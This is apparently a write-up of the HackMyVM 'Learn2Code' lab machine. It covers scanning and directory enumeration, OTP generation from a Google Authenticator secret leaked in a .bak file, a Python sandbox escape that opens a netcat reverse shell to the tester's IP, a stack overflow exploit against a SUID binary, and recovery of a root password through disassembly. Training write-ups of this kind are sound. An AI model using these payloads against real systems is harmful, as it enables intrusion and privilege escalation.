HMV Learn2Code
This is a Linux machine with only the Web service enabled. By exploiting the leaked Google
Authenticator secret in the source code, we gained control over OTP generation, thereby obtaining a
code execution environment. Simple reconnaissance revealed it to be a Python execution environment
with import keyword filtering. However, this could be bypassed using basic built-in operations,
Ultimately, we established a foothold on the system via a reverse shell.
We subsequently identified a special program belonging to the root user with SUID bit set. By exploiting a simple stack overflow vulnerability to manipulate a varible, we privot to a regular user account on the system. Within that user's home directory, we discovered a special executable file. Through analysis, we obtained the root user's password.
Summary
Scope
- Name: Learn2Code
- Difficulty: Easy
- OS: Debian
- IP: Local VM
Learned
- Source code and bak files may leak some secrets.
- Bypass Python Sandboxes provides useful resources.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Thu Mar 5 11:02:10 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.1.62 Nmap scan report for 192.168.1.62 Host is up (0.00010s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC) # Nmap done at Thu Mar 5 11:02:15 2026 -- 1 IP address (1 host up) scanned in 4.48 seconds
Detail
# Nmap 7.98 scan initiated Thu Mar 5 11:02:36 2026 as: nmap -sC -sV -O -vv -p80 -oN detail 192.168.1.62 Nmap scan report for 192.168.1.62 Host is up, received arp-response (0.00047s latency). Scanned at 2026-03-05 11:02:40 CST for 8s PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Access system |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=3/5%OT=80%CT=%CU=36776%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:69A8F258%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S) Uptime guess: 4.491 days (since Sat Feb 28 23:16:02 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Mar 5 11:02:48 2026 -- 1 IP address (1 host up) scanned in 11.73 seconds
UDPScan
# Nmap 7.98 scan initiated Thu Mar 5 11:03:11 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.62 Nmap scan report for 192.168.1.62 Host is up (0.00054s latency). Not shown: 31 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC) # Nmap done at Thu Mar 5 11:03:45 2026 -- 1 IP address (1 host up) scanned in 34.43 seconds
Web
Since only the web service enabled, I notice that index.php need OTP code for GoogleAuthenticator.
And I find some interesting files with enumeration.
❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ feroxbuster -u http://192.168.1.62/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,js ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.13.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.1.62/ 🚩 In-Scope Url │ 192.168.1.62 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /home/curtain/.config/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, txt, js] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 17l 42w 489c http://192.168.1.62/includes/js/functions.js 200 GET 30l 47w 357c http://192.168.1.62/includes/css/style.css 200 GET 21l 64w 546c http://192.168.1.62/includes/js/custom_lib.js 200 GET 0l 0w 0c http://192.168.1.62/includes/css/style.bak 200 GET 7l 683w 60010c http://192.168.1.62/includes/js/bootstrap.min.js 200 GET 21l 64w 546c http://192.168.1.62/includes/js/custom_lib.bak 200 GET 2l 1276w 88145c http://192.168.1.62/includes/js/jquery-3.4.1.min.js 200 GET 7l 2122w 159515c http://192.168.1.62/includes/css/bootstrap.min.css 200 GET 33l 78w 1161c http://192.168.1.62/ 200 GET 1l 9962w 194435c http://192.168.1.62/includes/js/bootstrap.min.js.map 200 GET 0l 0w 0c http://192.168.1.62/includes/php/access.php 200 GET 1l 48613w 641867c http://192.168.1.62/includes/css/bootstrap.min.css.map 301 GET 9l 28w 315c http://192.168.1.62/includes => http://192.168.1.62/includes/ 200 GET 33l 78w 1161c http://192.168.1.62/index.php 200 GET 16l 35w 319c http://192.168.1.62/includes/php/access.php.bak 200 GET 1l 4w 19c http://192.168.1.62/includes/php/runcode.php 200 GET 1l 4w 19c http://192.168.1.62/includes/php/coder.php 200 GET 0l 0w 0c http://192.168.1.62/includes/php/GoogleAuthenticator.php 200 GET 1l 8w 51c http://192.168.1.62/todo.txt [####################] - 6s 18580/18580 0s found:19 errors:1 [####################] - 5s 18456/18456 3490/s http://192.168.1.62/ [####################] - 0s 18456/18456 55590/s http://192.168.1.62/includes/ => Directory listing (add --scan-dir-listings to scan) [####################] - 0s 18456/18456 376653/s http://192.168.1.62/includes/js/ => Directory listing (add --scan-dir-listings to scan) [####################] - 0s 18456/18456 44688/s http://192.168.1.62/includes/css/ => Directory listing (add --scan-dir-listings to scan) [####################] - 0s 18456/18456 65447/s http://192.168.1.62/includes/php/ => Directory listing (add --scan-dir-listings to scan)
Then I take a closer look at these files like following.
Code length restriction.
<input type="number" class="form-control text-center" min-length="6" max-length="6" id="code" name="code">
check_code() logic.
function check_code() {
var params = new Array("action=check_code", "code="+$('#code').val());
php_ajax(params, "includes/php/access.php", function(response) {
if (response.indexOf("wrong") != -1) {
$('.result').show();
} else {
$('body').html(response);
}
});
}
bak file of access.php.
❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ curl http://192.168.1.62/includes/php/access.php.bak
<?php
require_once 'GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = "S4I22IG3KHZIGQCJ";
if ($_POST['action'] == 'check_code') {
$code = $_POST['code'];
$result = $ga->verifyCode($secret, $code, 1);
if ($result) {
include('coder.php');
} else {
echo "wrong";
}
}
?>
Now I have following critical information about that service:
- code length equal to 6.
- access.php is responsible for handling check_code.
- the bak file of access.php leaks the
secretof GoogleAuthenticator.
After Google search for that keyword. I finally get this repo for replay the OTP code if know the secret. Replace the secret with what I get before, and I get the OTP code currently valid.
Checking Code '004083' and Secret 'S4I22IG3KHZIGQCJ':
With this correct code, I get a page like this and with simple recon I know this is a Python environment.

Python Sandbox

And I immediately try a simple reverse shell but it fails for malicious code. I known it filter out
the import keyword after some more tries. Then I google for Python sandbox escape and get that resource.
Then I escape this simple sandbox with following payload:
__import__('os').system('nc -e /bin/bash 192.168.1.33 3333')Privilege Escalation
www-data is the initial user I get. I find this interesting file when gathering basic information of system.
www-data@Learn2Code:/var/www/html/includes$ uname -a uname -a Linux Learn2Code 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux www-data@Learn2Code:/var/www/html/includes$ crontab -l crontab -l no crontab for www-data www-data@Learn2Code:/var/www/html/includes$ find / -mount -perm -u=s 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/chsh /usr/bin/mount /usr/bin/passwd /usr/bin/su /usr/bin/newgrp /usr/bin/umount /usr/bin/gpasswd /usr/bin/MakeMeLearner /usr/bin/chfn www-data@Learn2Code:/var/www/html/includes$ ls -l /usr/bin/Ma* ls -l /usr/bin/Ma* -r-sr-sr-x 1 root www-data 16864 Sep 28 2020 /usr/bin/MakeMeLearner
And it seems need an argument and will change to user learner if I set the modified variable to 0x61626364.
www-data@Learn2Code:/var/www/html/includes$ file /usr/bin/MakeMeLearner file /usr/bin/MakeMeLearner /usr/bin/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU/Linux 3.2.0, not stripped www-data@Learn2Code:/var/www/html/includes$ /usr/bin/MakeMeLearner /usr/bin/MakeMeLearner MakeMeLearner: please specify an argument www-data@Learn2Code:/var/www/html/includes$ /usr/bin/MakeMeLearner -h /usr/bin/MakeMeLearner -h Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000
After download that file and load it with IDA, I get:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char dest[76]; // [rsp+10h] [rbp-50h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]
if ( argc == 1 )
errx(1, "please specify an argument\n", envp);
printf("Change the 'modified' variable value to '0x61626364' to be a learner");
v5 = 0;
strcpy(dest, argv[1]);
if ( v5 == 0x61626364 )
{
setuid(1000u);
setgid(1000u);
system("/bin/bash");
}
else
{
printf("Try again, you got 0x%08x\n", v5);
}
return 0;
}Stack Overflow
Obviously there is a stack overflow vulnerability which I can override the variable v5 if the input
argument length enough. And I get the offset is 0x50 from comment of code. Then I privot to user
learner by this payload:
www-data@Learn2Code:/var/www/html/includes/php$ /usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba /usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba learner@Learn2Code:/var/www/html/includes/php$ id id uid=1000(learner) gid=33(www-data) groups=33(www-data)
Root Password Leak
Then I also find a interesting file within the home directory of user learner.
learner@Learn2Code:/home/learner$ ls -al ls -al total 44 dr-x------ 2 learner learner 4096 Sep 28 2020 . drwxr-xr-x 3 root root 4096 Sep 28 2020 .. lrwxrwxrwx 1 root root 9 Sep 28 2020 .bash_history -> /dev/null -rw-r--r-- 1 learner learner 220 Sep 28 2020 .bash_logout -rw-r--r-- 1 learner learner 3526 Sep 28 2020 .bashrc -rw-r--r-- 1 learner learner 807 Sep 28 2020 .profile -r-x------ 1 learner learner 16608 Sep 28 2020 MySecretPasswordVault -r-------- 1 learner learner 14 Sep 28 2020 user.txt
Like before, load it with IDA will leak a password, I try this password with su and successfully
privot to root!
public main
main proc near
var_18= qword ptr -18h
var_10= qword ptr -10h
var_8= qword ptr -8
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 20h
lea rax, aNoi98ho ; "NOI98hO"
mov [rbp+var_8], rax
lea rax, aIhj ; "Ihj"
mov [rbp+var_10], rax
lea rax, aJj ; ")(Jj"
mov [rbp+var_18], rax
lea rdi, s ; "If you are a learner, i'm sure you know"...
call _puts
mov eax, 0
leave
retn
; } // starts at 1135
main endp